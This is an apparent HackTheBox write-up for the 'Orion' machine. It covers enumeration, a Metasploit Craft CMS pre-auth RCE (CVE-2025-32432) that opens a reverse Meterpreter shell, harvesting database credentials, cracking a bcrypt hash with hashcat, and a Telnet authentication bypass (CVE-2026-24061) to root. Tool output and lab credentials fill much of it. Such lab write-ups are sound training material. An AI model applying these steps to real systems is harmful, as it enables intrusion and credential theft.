Orion is a HackTheBox easy machine that hosts a vulnerable Craft CMS version. Foothold is gained using the Craft CMS Pre-Auth RCE (CVE-2025-32432). Lateral movement includes harvesting credentials from a MySQL database and cracking them using Hashcat. Lastly, privilege escalation is achieved by exploiting the Telnet authentication bypass (CVE-2026-24061) vulnerability.
1. Initial Enumeration and Service Discovery
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O orion.htb -oN nmap_scan to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-29 20:25 -0400 Nmap scan report for orion.htb (10.129.5.36) Host is up (0.50s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Orion Telecom |_http-server-header: nginx/1.18.0 (Ubuntu) Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5 OS details: Linux 5.0 - 5.14 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 33.28 seconds
Based on the results, only ports 80 and 22 are open on the target machine. Port 80 is running a single-page website. The website did not contain any useful information other than that the contact form is configured to submit data to the /api/contact endpoint via the POST method.
Before trying to submit XSS payloads through the contact form, I decided to run a directory scan using Gobuster.
=============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://orion.htb [+] Method: GET [+] Threads: 20 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8.2 [+] Extensions: html,php,md,txt [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== # license, visit http://creativecommons.org/licenses/by-sa/3.0/.html (Status: 403) [Size: 162] index.html (Status: 200) [Size: 9689] index.php (Status: 200) [Size: 12272] index (Status: 200) [Size: 12272] admin (Status: 302) [Size: 0] [--> http://orion.htb/admin/login] assets (Status: 301) [Size: 178] [--> http://orion.htb/assets/] logout (Status: 302) [Size: 0] [--> http://orion.htb/] p1 (Status: 200) [Size: 12272] p3 (Status: 200) [Size: 12272] p2 (Status: 200) [Size: 12272] p4 (Status: 200) [Size: 12272] p5 (Status: 200) [Size: 12272] wp-admin (Status: 418) [Size: 54217] p6 (Status: 200) [Size: 12272] p7 (Status: 200) [Size: 12272] p11 (Status: 200) [Size: 12272] p6 (Status: 200) [Size: 12272] p7 (Status: 200) [Size: 12272] p49 (Status: 200) [Size: 12272]
Directory scan revealed that there is an admin login available. This admin login page discloses that the CMS used is Craft CMS and the version is 5.6.16.
2. Initial Access - Craft CMS Pre-Auth RCE (CVE-2025-32432)
Since the CMS login page disclosed the version number, I was able to find Craft CMS 5.6.16 - RCE exploit in ExploitDB. I was also able to find the exploit in the Metasploit framework.
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 2025-04-14 excellent Yes Craft CMS Image Transform Preauth RCE (CVE-2025-32432) 1 \_ target: PHP In-Memory . . . . 2 \_ target: Unix/Linux Command Shell . . . . Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 After interacting with a module you can manually set a TARGET with set TARGET 'Unix/Linux Command Shell'
I decided to try the Metasploit exploit first, and I was able to get an initial foothold as www-data.
[*] Started reverse TCP handler on 10.10.16.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Leaked session.save_path: /var/lib/php/sessions
[+] The target is vulnerable. Session path leaked
[*] Injecting stub & triggering payload...
[*] Sending stage (45739 bytes) to 10.129.244.146
[*] Meterpreter session 1 opened (10.10.16.36:4444 -> 10.129.244.146:59726) at 2026-08-29 22:43:25 -0400
meterpreter > getuid
Server username: www-data
meterpreter > 3. Lateral Movement - Database Extraction & Credential Cracking
After gaining the initial foothold, I discovered there is only one user, adam, on the target machine. I decided to download LinPeas to enumerate possible lateral movement or privilege escalation pathways.
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass! CRAFT_DB_USER=root CRAFT_SECURITY_KEY=RRS86F6i2JQKdC6kfEI7frVxA47WVMx8 ══╣ Polkit Binary (T1548.003,T1068) Pkexec binary found at: /usr/bin/pkexec Pkexec binary has SUID bit set! -rwsr-xr-x 1 root root 30872 Apr 10 10:59 /usr/bin/pkexec pkexec version 0.105 Potentially vulnerable to CVE-2021-4034 (PwnKit) - check distro patches
I was unable to use the found password against the user adam or root. So I tried to log in to the database to see if I could harvest any credentials.
mysql -u root -p Enter password: SuperSecureCraft123Pass! Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 42 Server version: 10.6.23-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> show databases; show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | orion | | performance_schema | | sys | +--------------------+ 5 rows in set (0.001 sec)
The credentials allowed me to log in to the database, and I was able to harvest the adam@orion.htb bcrypt password hash.
| 1 | NULL | NULL | 1 | 0 | 0 | 0 | 1 | admin | NULL | NULL | NULL | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS | 2026-03-12 11:25:04 | NULL | NULL | NULL | NULL | NULL | 1 | NULL | NULL | NULL | 0 | 2026-03-12 11:24:51 | 2026-03-06 11:24:45 | 2026-03-12 11:25:04
I used Hashcat to crack the password on my local machine.
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 0 secs
$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/...LUg0lS
Time.Started.....: Sat Aug 29 23:18:22 2026 (1 min, 17 secs)
Time.Estimated...: Sat Aug 29 23:19:39 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-72 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 9 H/s (6.92ms) @ Accel:4 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 656/14344385 (0.00%)
Rejected.........: 0/656 (0.00%)
Restore.Point....: 640/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:8160-8192
Candidate.Engine.: Device Generator
Candidates.#01...: sunshine1 -> sweetpea
Hardware.Mon.#01.: Util: 83%
Started: Sat Aug 29 23:17:52 2026
Stopped: Sat Aug 29 23:19:40 2026I was able to crack the password and log in to the target machine as adam@orion.htb using SSH and retrieve the user flag.
4. Privilege Escalation - GNU Inetutils Telnet Exploitation (CVE-2026-24061)
Since I was able to successfully complete the lateral movement to Adam's account, I decided to run LinPeas again.
LinPeas flagged five possible kernel exploits, but none of the exploits was successful.
Since none of the exploits worked, I decided to look at the LinPeas result again, and I noticed that port 23 (Telnet) is listening on localhost, and LinPeas also flagged it as a active service.
Since the target machine had Netcat installed, I decided to probe the port, and the result confirmed that port 23 is in fact running a Telnet service.
Connection to 127.0.0.1 23 port [tcp/telnet] succeeded!
Since Telnet is running, I was able to extract the service version by running telnet --version.
telnet (GNU inetutils) 2.7 Copyright (C) 2025 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later
After a quick Google search about the Telnet 2.7 vulnerabilities, I was able to find the CVE-2026-24061 POC on GitHub.
I will be able to bypass authentication and escalate privileges to root.
Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. Linux 5.15.0-177-generic (orion) (pts/3) Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64) 2 additional security updates can be applied with ESM Apps. Learn more about enabling ESM Apps service at https://ubuntu.com/esm The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings root@orion:~# whoami root root@orion:~# cat root.txt
Congrats! We found both flags!
HTB Machine Completion
